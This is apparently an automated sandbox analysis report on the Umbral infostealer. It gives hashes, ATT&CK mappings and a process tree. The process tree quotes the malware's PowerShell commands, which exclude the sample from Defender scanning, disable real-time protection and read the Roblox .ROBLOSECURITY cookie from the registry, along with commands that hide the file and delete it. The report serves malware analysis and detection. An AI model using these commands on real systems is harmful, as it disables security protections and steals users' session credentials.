umbral | 3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-01-2025 12:54

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General

Target

Umbral.exe
Size

229KB
MD5

4bc2e7ac1436d46b28811c13b73b7700
SHA1

113e650f1c5d41a20bdcf33152d2b90ba23b04e9
SHA256

3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0
SHA512

114eb0f25fd0d1f9378645007f327dd7d9aa99065e3982b473a89bd08fb529c3d6d0092c79dc1f6fa12ed99e2f12a7820b6e3c9254f5d838df29131bb7b2001f
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD4/E0fAmB5Kz/Cwhl0Adb8e1mc3li:voZtL+EP8/E0fAmB5Kz/Cwhl007c

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2280-1-0x0000000001230000-0x0000000001270000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1824	powershell.exe
1728	powershell.exe
2756	powershell.exe
2528	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Deletes itself 1 IoCs

pid	Process
2008	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2008	cmd.exe
1972	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1192	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1972	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2280	Umbral.exe
2528	powershell.exe
2756	powershell.exe
1824	powershell.exe
1092	powershell.exe
1728	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2280	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2640	wmic.exe
Token: SeSecurityPrivilege	2640	wmic.exe
Token: SeTakeOwnershipPrivilege	2640	wmic.exe
Token: SeLoadDriverPrivilege	2640	wmic.exe
Token: SeSystemProfilePrivilege	2640	wmic.exe
Token: SeSystemtimePrivilege	2640	wmic.exe
Token: SeProfSingleProcessPrivilege	2640	wmic.exe
Token: SeIncBasePriorityPrivilege	2640	wmic.exe
Token: SeCreatePagefilePrivilege	2640	wmic.exe
Token: SeBackupPrivilege	2640	wmic.exe
Token: SeRestorePrivilege	2640	wmic.exe
Token: SeShutdownPrivilege	2640	wmic.exe
Token: SeDebugPrivilege	2640	wmic.exe
Token: SeSystemEnvironmentPrivilege	2640	wmic.exe
Token: SeRemoteShutdownPrivilege	2640	wmic.exe
Token: SeUndockPrivilege	2640	wmic.exe
Token: SeManageVolumePrivilege	2640	wmic.exe
Token: 33	2640	wmic.exe
Token: 34	2640	wmic.exe
Token: 35	2640	wmic.exe
Token: SeIncreaseQuotaPrivilege	2640	wmic.exe
Token: SeSecurityPrivilege	2640	wmic.exe
Token: SeTakeOwnershipPrivilege	2640	wmic.exe
Token: SeLoadDriverPrivilege	2640	wmic.exe
Token: SeSystemProfilePrivilege	2640	wmic.exe
Token: SeSystemtimePrivilege	2640	wmic.exe
Token: SeProfSingleProcessPrivilege	2640	wmic.exe
Token: SeIncBasePriorityPrivilege	2640	wmic.exe
Token: SeCreatePagefilePrivilege	2640	wmic.exe
Token: SeBackupPrivilege	2640	wmic.exe
Token: SeRestorePrivilege	2640	wmic.exe
Token: SeShutdownPrivilege	2640	wmic.exe
Token: SeDebugPrivilege	2640	wmic.exe
Token: SeSystemEnvironmentPrivilege	2640	wmic.exe
Token: SeRemoteShutdownPrivilege	2640	wmic.exe
Token: SeUndockPrivilege	2640	wmic.exe
Token: SeManageVolumePrivilege	2640	wmic.exe
Token: 33	2640	wmic.exe
Token: 34	2640	wmic.exe
Token: 35	2640	wmic.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeIncreaseQuotaPrivilege	2832	wmic.exe
Token: SeSecurityPrivilege	2832	wmic.exe
Token: SeTakeOwnershipPrivilege	2832	wmic.exe
Token: SeLoadDriverPrivilege	2832	wmic.exe
Token: SeSystemProfilePrivilege	2832	wmic.exe
Token: SeSystemtimePrivilege	2832	wmic.exe
Token: SeProfSingleProcessPrivilege	2832	wmic.exe
Token: SeIncBasePriorityPrivilege	2832	wmic.exe
Token: SeCreatePagefilePrivilege	2832	wmic.exe
Token: SeBackupPrivilege	2832	wmic.exe
Token: SeRestorePrivilege	2832	wmic.exe
Token: SeShutdownPrivilege	2832	wmic.exe
Token: SeDebugPrivilege	2832	wmic.exe
Token: SeSystemEnvironmentPrivilege	2832	wmic.exe
Token: SeRemoteShutdownPrivilege	2832	wmic.exe
Token: SeUndockPrivilege	2832	wmic.exe
Token: SeManageVolumePrivilege	2832	wmic.exe
Token: 33	2832	wmic.exe
Token: 34	2832	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 2640	2280	Umbral.exe	28
PID 2280 wrote to memory of 2640	2280	Umbral.exe	28
PID 2280 wrote to memory of 2640	2280	Umbral.exe	28
PID 2280 wrote to memory of 2888	2280	Umbral.exe	31
PID 2280 wrote to memory of 2888	2280	Umbral.exe	31
PID 2280 wrote to memory of 2888	2280	Umbral.exe	31
PID 2280 wrote to memory of 2528	2280	Umbral.exe	33
PID 2280 wrote to memory of 2528	2280	Umbral.exe	33
PID 2280 wrote to memory of 2528	2280	Umbral.exe	33
PID 2280 wrote to memory of 2756	2280	Umbral.exe	35
PID 2280 wrote to memory of 2756	2280	Umbral.exe	35
PID 2280 wrote to memory of 2756	2280	Umbral.exe	35
PID 2280 wrote to memory of 1824	2280	Umbral.exe	37
PID 2280 wrote to memory of 1824	2280	Umbral.exe	37
PID 2280 wrote to memory of 1824	2280	Umbral.exe	37
PID 2280 wrote to memory of 1092	2280	Umbral.exe	39
PID 2280 wrote to memory of 1092	2280	Umbral.exe	39
PID 2280 wrote to memory of 1092	2280	Umbral.exe	39
PID 2280 wrote to memory of 2832	2280	Umbral.exe	41
PID 2280 wrote to memory of 2832	2280	Umbral.exe	41
PID 2280 wrote to memory of 2832	2280	Umbral.exe	41
PID 2280 wrote to memory of 852	2280	Umbral.exe	43
PID 2280 wrote to memory of 852	2280	Umbral.exe	43
PID 2280 wrote to memory of 852	2280	Umbral.exe	43
PID 2280 wrote to memory of 1808	2280	Umbral.exe	45
PID 2280 wrote to memory of 1808	2280	Umbral.exe	45
PID 2280 wrote to memory of 1808	2280	Umbral.exe	45
PID 2280 wrote to memory of 1728	2280	Umbral.exe	47
PID 2280 wrote to memory of 1728	2280	Umbral.exe	47
PID 2280 wrote to memory of 1728	2280	Umbral.exe	47
PID 2280 wrote to memory of 1192	2280	Umbral.exe	49
PID 2280 wrote to memory of 1192	2280	Umbral.exe	49
PID 2280 wrote to memory of 1192	2280	Umbral.exe	49
PID 2280 wrote to memory of 2008	2280	Umbral.exe	51
PID 2280 wrote to memory of 2008	2280	Umbral.exe	51
PID 2280 wrote to memory of 2008	2280	Umbral.exe	51
PID 2008 wrote to memory of 1972	2008	cmd.exe	53
PID 2008 wrote to memory of 1972	2008	cmd.exe	53
PID 2008 wrote to memory of 1972	2008	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2888	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:852
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1728
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1192
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
87fe316f2c55cef66cabd4d948d8c66f

SHA1
aba01b8ebb24445dccc279c214137fcb262c1502

SHA256
9c4f0b2fc6a7db83deb90882ff8c3e7e1ea2bf9485423a5bdafa5744390af0cb

SHA512
6dc39dd2e8d62ad3f9e4099b954a5b5707a782208553a8410074d7cd341d3a34e9b8e9dbf68f8ae6e0422974278b0b4c977259c697d8a9b05cdc3120531534e3

Download Submit
memory/1728-43-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2280-0-0x000007FEF5233000-0x000007FEF5234000-memory.dmp

Filesize
4KB

Download
memory/2280-1-0x0000000001230000-0x0000000001270000-memory.dmp

Filesize
256KB

Download
memory/2280-2-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download
memory/2280-47-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download
memory/2528-7-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2528-8-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2756-14-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2756-15-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download